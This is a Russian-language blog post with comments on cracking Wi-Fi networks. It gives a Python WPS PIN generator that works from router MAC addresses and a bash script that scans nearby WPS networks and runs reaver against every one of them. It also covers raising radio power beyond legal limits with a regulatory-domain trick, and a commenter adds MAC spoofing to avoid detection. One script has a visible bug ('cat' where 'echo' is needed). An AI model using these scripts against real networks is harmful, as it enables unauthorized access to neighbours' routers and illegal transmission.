Страницы

Wi-Foo


Как мы знаем, эпоха халявного вайфая понемногу подходит к концу (или конец всё же отменили?), да и телегу лучше готовить заранее. 
Вот я и решил обновить свой Wi-Fi арсенал и поделиться с вами новостями в сфере безопасности Wi-Fi сетей.

Железо

Аналоговый сниффер в довайфайную эпоху

На всё ввозимое в страну радиооборудование действуют жесткие нормы, и купить официально в России wi-fi карту мощнее 100 мВт не получиться. Поэтому большую популярность в нашей стране получили USB Wi-Fi карты тайваньской компании Alfa Networks по ряду причин:
  • они свободно продаются на ebay и их легко ввести в страну в обход ограничений;
  • USB карту можно подключить к виртуальной машине с Kali linux напрямую, обходя ограничения на работу с Wi-Fi в Windows (со встроенной картой такое не пройдёт);
  • USB карта имеет гнездо для подключения внешней антенны;
  • Мощность корейского вайфая может быть в 10 раз выше разрешенной в нашей стране;
  • существуют "взломанные" драйвера под эти карты, позволяющие переводить карту в режим монитора (monitor mode), который нужен для перехвата/инжектирования вайфай пакетов;
  • корейские карточки в несколько раз дешевле именитых аналогов.
Все это привело к тому, что бренд Альфа стал нарицательным в мире wi-fi хакинга. Кстати использовать альфу можно и в мирных целях: в туалете там, где плохо ловит домашний вайфай, в гостинице, чтобы поймать вайфай через несколько этажей, в аэропорту и так далее. В комплекте с Альфой почти всегда идёт клевый крэдл с клипсой.
Alfa AWUS036NHV с направленной антенной 7dBi APA-M04

Со времен первой карты AWUS036H прошло уже несколько лет. Модельный ряд альф значительно вырос, однако к новым картам нужно обязательно докупать огромный бубен, если вы хотите работать с ними в monitor mode. Поэтому фаворитом в деле вайфай хакинга даже сегодня остаётся Alfa AWUS036H (только 802.11 b/g и только 2.4Ггц :( ).
В центре антенна 9dBi ARS-N19 с магнитным основанием, позволяющим крепить её на крышу машины... или к холодильнику. 
Таким образом качество приёма и количество видимых сетей определяется тремя вещами: картой (чипсетом), антенной и драйверами.

Программное обеспечение

Для меня оптимальным вариантом работы с картой является VMware образ Kali linux, который можно скачать с официального сайта. VMware позволяет подмонтировать USB карту к загруженной виртуальной машине и работать с ней без ограничений, накладываемых сетевым стэком Windows.
Для увеличения мощности карты стоит сразу переехать в Боливию!
iw reg set BO

Как мы знаем 2 года назад была найдена серьёзная дыра в технологии WPS, обеспечивающей быстрое подключение к Wi-Fi сети для блондинок с помощью пин-кода, указанного на наклейке роутера. Из-за уязвимости алгоритма подобрать нужный пин-код можно было за 10-15 часов с помощью брутфорса. 
Часть производителей отреагировала на эту уязвимость и ввела задержку между неудачными попытками, сводящую на нет все усилия хакера. Обойти эту задержку иногда можно было с помощью рандомизации MAC адреса атакующего, но процесс взлома сети все равно затягивался на сутки. 
Затем оказалось, что многие производители используют одинаковые пинкоды в своих маршрутизаторах либо очень похожие. И вот не так давно стало известно, что многие популярные модели роутеров (ZyXEL Keenetik, TRENDnet, D-Link DIR-620, HG532e, ASUS RT-G32 и др.) вычисляют пин код динамически, используя в качестве секрета... MAC адрес маршрутизатора!
Вот соответствующий python-код. Если погуглить WPSPIN.SH, то можно найти и аналогичный bash скрипт.
#!/usr/bin/env python
import sys, re
def pin_checksum(pin):
    # WPS PIN Checksum - for more information see hostapd/wpa_supplicant source (wps_pin_checksum) or
    # http://download.microsoft.com/download/a/f/7/af7777e5-7dcd-4800-8a0a-b18336565f5b/WCN-Netspec.doc
    accum = 0
    t = pin
    while (t):
        accum += 3 * (t % 10)
        t /= 10
        accum += t % 10
        t /= 10
    return '%07i%i' % (pin, (10 - accum % 10) % 10)
def gen_hexdec(mac_str):
    return (int(mac_str[6:12], 16) % 10000000)
def main():
    if len(sys.argv) != 2:
        sys.exit('Usage: wpspin.py [BSSID]\n eg. wpspin.py 00:11:22:33:44:55\n')
    mac_str = re.sub(r'[^a-fA-F0-9]', '', sys.argv[1])
    if len(mac_str) != 12:
        sys.exit('check MAC format!\n')
    print pin_checksum(gen_hexdec(mac_str))
if __name__ == "__main__":
    main()
Логика работы алгоритма достаточно простая - берется "хвостик" от MAC адреса маршрутизатора и переводится из шестнадцатиричной системы в десятиричную (с учетом PIN Checksum). Это и есть пин-код!

Как показывает практика, уязвимые маршрутизаторы есть в каждом доме. Вопрос лишь в мощности вайфай карты. 

Для удобства поиска доступных сетей я набросал вот такой скрипт.
#!/bin/bash
timeout -sHUP 5m wash -o wash.log -i wlan1mon
cat wash.log | tail -n+3 - | awk '{print substr($0,0,18)}' > macs.log
cat macs.log | xargs -n 1 python /root/wpspin.py > pins.log
cat "#!/bin/bash" > reaver.sh
chmod +x reaver.sh
paste -d" " macs.log pins.log | awk '{print "timeout -sHUP 20s reaver -i wlan1mon -b " $1 " -p " $2 " >>results.log"}' >>reaver.sh
./reaver.sh
Вначале он запускает на 5 минут поиск сетей WPS с помощью утилиты wash. Вывод wash парсится, и MAC адреса скармливаются python скрипту. Потом формируется и запускается фаил reaver.sh, который с таймаутом 20 секунд пробует каждую пару MAC+Pin и записывает результаты работы в фаил results.log. Таймауты по желанию можно увеличить.

Перед запуском скрипта необходимо поднять интерфейс wlan1mon (у вас может быть другое название) с помощью команды "airmon-zc start wlan1". 

Выводы

Отключите WPS. 

Что еще почитать?


[UPDATE] В некоторых маршрутизаторах D-link используется "продвинутый" способ вычисления WPS пинкода но по-прежнему на основе WAN MAC маршрутизатора. Скачать генератор можно тут

9 комментариев:

  1. Сама по себе команда
    #iw reg set BO не повышает мощность передатчика. Следует ввести ещё
    #set BO iwconfig wlan0 txpower 30

    А так же я рекомендую, сделать фейковый мак адрес, мы же не хотим святиться на ломанной точке свои реальным маком, да ?
    # macchanger -r wlan0

    ОтветитьУдалить
    Ответы
    1. iwconfig wlan1 txpower 30

      ошибка

      Удалить
    2. Вот в kali 1.0.9 нужно только поменять страну. Максимально допустимую мощность драйвер поставит сам.

      Со сменой MACа тоже есть тонкости https://code.google.com/p/reaver-wps/wiki/HintsAndTips. Менять нужно и у физического интерфейса и в самом ривере флагом --mac.

      Спасибо за советы :)

      Удалить
    3. Наткнулся на такую особенность, если Ваша Кали (1.0.9) запускается с флешки - смена страны и повышение мощности передатчика не работают. Пробую обновиться, посмотрим, может дело в этом. На 1.0.7. всё работало (загрузка с НЖМД)

      Удалить
  2. Анонимный30 мая 2015 г., 14:34

    Спасибо за статью. Kali 1.1.0a 64-bit ни в какую не хочет повышать мощность адаптера - ни при запуске с флэшки, ни после установки на жёсткий диск. Карта AWUS036H оригинальная, команды даю такие:

    root@kali:~# iw reg set BO
    root@kali:~# iwconfig wlan1 txpower 30

    А всё-равно показывает Tx-Power=20 dBm

    Не подскажете как полечить?

    ОтветитьУдалить
  3. Опускаете устройство
    ifconfig wlan1 down
    Затем задаем регион
    iw reg set BZ --(BO) давно не работает
    Увеличиваем мощность
    iwconfig wlan1 txpower 30
    Далее поднимаем устройство
    ifconfig wlan1 up
    Сверяем
    iwconfig

    ОтветитьУдалить
  4. Alfa Tube UV чип RTL8188EU не переходит в монитор, пробовал все команды, а ни в какую. Можете ещё что посоветовать?

    ОтветитьУдалить
    Ответы
    1. У самого есть такая карта. В свое время сделать ничего не смог и плюнул на нее..

      Удалить